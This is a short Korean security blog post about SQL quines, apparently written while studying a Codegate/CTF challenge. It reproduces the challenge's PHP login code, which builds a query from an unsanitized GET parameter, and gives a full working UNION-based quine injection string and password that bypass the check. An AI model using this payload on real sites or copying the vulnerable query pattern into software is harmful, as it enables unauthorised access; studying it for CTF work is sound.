webhacking/sql, sql injection

Quine

qkqhxla1 2015. 7. 27. 21:18

Quine라는게 있다. 이번 jff3에서 rubiya님이 냈던 mbm2문제가 이걸로 푸는건데..... Quine라는걸 지금 처음 봤다.(휴.) 앞으로 ctf좀 자주 뒤적뒤적해봐야겠다.


Quine라는건 자기 자신의 소스코드를 출력하는걸 뜻한다고 한다. https://en.wikipedia.org/wiki/Quine_(computing)


언제적 코드게이트인지는 모르지만 코드게이트에 이 문제가 나왔었고, 좋은 블로그에 풀이와 설명이 있어서 이해할 수 있었다. source : http://www.shysecurity.com/posts/SQLi-Quine


SELECT $$ AS Quine $$ => REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$) 이게 기본 형태이고 $$는 문장이 길어서 대체용으로 써놓은것.

SELECT REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$) AS Quine $$ => 'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine' $$대신 위의 문장을 집어넣으면 아래처럼 된다.

SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine

이걸 실행해보면 이 쿼리 그대로 나옴을 알 수 있다.


대치하면 이 구문이 되고, 이걸 실행해보면 원래의 쿼리가 그대로 나온다고 한다. 저번에 어디다가 적었었는데 이 구문말고도 information_schema.processlist를 이용하면 현재 쿼리의 일부분을 뽑아올 수 있다.


일단 저 블로그 삭제될지 모르니까 해당 소스 복붙 함.

<form method=get action="index.php"><div><h1>Login</h1>
ID <input type=text name=id> PW <input type=text name=pw> <input type=submit value='Submit'> <input type=button onclick=location.href='index.phps' value='Source'>
</form>
<?php
$q=@mysql_fetch_array(mysql_query("select id,pw from mem where id='$_GET[id]'"));

if($_GET['id'] && $_GET['pw'])
{
    if(!$q['id']) exit();
    if(md5($q['id'])==md5($_GET['id']))
    {
        echo("<br>hi! ".htmlspecialchars($q['id'])."<br><br>");
        $q['pw']=trim($q['pw']);
        $_GET['pw']=trim($_GET['pw']);
        if(!$q['pw']) exit();
        if($q['pw']==md5($_GET['pw'])) { echo("<p class=msg>Password is ????</p>"); }
        else { echo("<p class=error>Wrong pw</p>"); }
    }
}
?></div>

이러이러한 소스를 공격하려면 id는

' UNION SELECT REPLACE(REPLACE('" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS id,MD5("z") AS pw-- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS id,MD5("z") AS pw-- ') AS id,MD5('z') AS pw-- 

pw는 'fbade9e36a3f36d3d676c1b808451dd7' //md5('z') 

이렇게 하면 된다고 한다. 넣어보면 제대로 됨을 확인할수 있음. jff3의 mbm2는 이걸 이용해서 하면 된다고 하는데 일단 연구좀 더해보고 성공하면 글 추가.